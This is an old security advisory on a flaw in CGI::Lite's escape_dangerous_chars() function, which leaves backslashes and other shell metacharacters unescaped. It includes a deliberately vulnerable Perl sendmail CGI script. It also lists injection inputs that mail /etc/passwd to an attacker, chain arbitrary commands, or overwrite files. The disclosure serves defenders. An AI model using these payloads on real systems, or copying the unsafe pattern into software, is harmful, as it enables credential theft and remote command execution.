12th Feb 2003 [SBWID-5986]
COMMAND
CGI::Lite::escape_dangerous_chars() permits remote compromise
SYSTEMS AFFECTED
CGI::Lite 2.0 package, and earlier revisions
PROBLEM
In Ronald F. Guilmette [[email protected]] advisory :
--snip--
Although poorly documented, the CGI::Lite::escape_dangerous_chars()
function appears to be a function whose purpose is to modify an input
character string in a way so that ``dangerous'' characters which might
otherwise have special significance to an underlying shell command
processor will each be preceded by a backslash (escape) character in
the resulting output string. The intent is clearly to convert possibly
dangerous user input strings into benign forms that, when provided as
command line arguments to an underlying shell command processor, will
not have any undesirable and/or unanticipated effects. (The classical
example is the semi- colon character, which acts as a command separator
for most UNIX and/or Linux shell command processors.)
It is reasonable to believe that CGI::Lite::escape_dangerous_chars()
has, in all probability, been used for exactly this purpose (i.e.
rendering user input strings ``harmless'' in advance of their being
provided, as arguments, to an underlying shell processor) in many
existing Perl CGI scripts.
Unfortunately, CGI::Lite::escape_dangerous_chars() fails to escape many
of the characters mentioned as possibly dangerous characters in the WWW
security FAQ (Question 7), specifically:
\ - backslash
? - question mark
~ - tilde
^ - carat
\n - newline
\r - carriage return
Note that all or most of these character _do_ in fact have special
meaning, when presented as parts of command line arguments to various
UNIX and/or Linux shell command processors (and, I suspect, probably MS
Windows shell command line processors also). Below is a trivially
simple example of how this security flaw can cause a problem, in
practice:
=====================================================================
#!/usr/bin/perl -w
use strict;
use CGI::Lite;
my $cgi = new CGI::Lite;
my %form = $cgi->parse_form_data;
my $recipient = $form{'recipient'};
my $message = "From: sender\nSubject: Hello\n\nHello my friend!\n\n";
$recipient = escape_dangerous_chars ($recipient);
open (SM, "|/usr/sbin/sendmail -f rfg $recipient");
print SM $message;
close SM;
print "Content-Type: text/html\n\n";
print "<HTML>\n";
print "<HEAD></HEAD>\n";
print "<BODY>\n";
print "Thank you. Your request has been processed\n";
print "</BODY>\n";
print "</HTML>\n";
=====================================================================
The Perl CGI script above might be constructed to act as the back-end
(CGI) handler for a simple web page that allows a web visitor to enter
his/her e-mail address into a text field on the form, and thereby
trigger the automated sending of some pre-canned (or dynamically
computed) e-mail message to the user-supplied e-mail address.
Note that the escape_dangerous_chars function is used to ``sanitize''
the user-supplied input string before it is used as an argument to the
Perl open function.
Unfortunately, the fact that escape_dangerous_chars fails to properly
backslash-escape any backslash characters contained in its input string
has very serious security consequences for the simple CGI script shown
above. Consider what would happen if a web visitor entered the string:
[email protected] \</etc/passwd
Note that after escape_dangerous_chars is applied to this user input,
the resulting string will be
[email protected] \\</etc/passwd
and that exact string will be passed to the underlying shell command
processor via the Perl open call.
The unfortunate result of this sequence of events would be that a copy
of the local password file would be e-mailed, both to
<[email protected]> and also to the (almost certainly
non-existent) local user whose user-id is a single backslash character.
(Most UNIX/Linux shells will see the \\ as a single backslash-escaped
backslash character. That single backslash character will then be
treated as being just another member of the list of destination e-mail
addresses for the outgoing e-mail message by sendmail.)
In this example, the account, if any, to which e-mail addresses to the
(non-existent?) local user-id '\' is directed will vary, depending upon
whether one is using ``real'' Sendmail or, as I do, a mostly compatible
Sendmail clone (Postfix). It may also depend, of course, on how exactly
the local mail server has been configured. E-mail sent to the local
user '\' may in some cases be automatically re- directed to the
`nobody' account, which is to say to /dev/null, in which case no local
user or administrator would have any idea that anything untoward or
undesirable had even taken place.
Regardless of where the _second_ copy of the e-mail message goes
however, the damage has already been done... <[email protected]>
_will_ be e-mailed a copy of the local password file... or any other
attacker-selected file residing on the exploited system.
Other similar (but perhaps even more damaging) kinds of exploits are
also possible, for example:
[email protected]\|other-command
or perhaps:
[email protected]\;other-command
where `other-command' is `xterm' followed by a set of arguments needed
to start up a remotely-accessible xterm window. Also, depending on
permissions, local files on the exploited machine could be created or
overwritten, e.g. via:
[email protected]\>/tmp/new-file
[email protected]\>/tmp/unprotected-file
SOLUTION
One possible fix for this problem is simple and obvious. The
escape_dangerous_chars could be hacked to include, in the set of
characters that it will escape, the backslash character and other
special characters from the complete set of ``dangerous'' characters as
documented in the WWW Security FAQ. (A patch which effects this change
is available from the author of this advisory upon request.)
The advisability of this specific ``quick and dirty'' fix has been
questioned by multiple parties however. (Some say that it would better
to list the set of characters which are safe to NOT escape, and then
just have the function escape every character that is NOT in that
``safe'' character set.)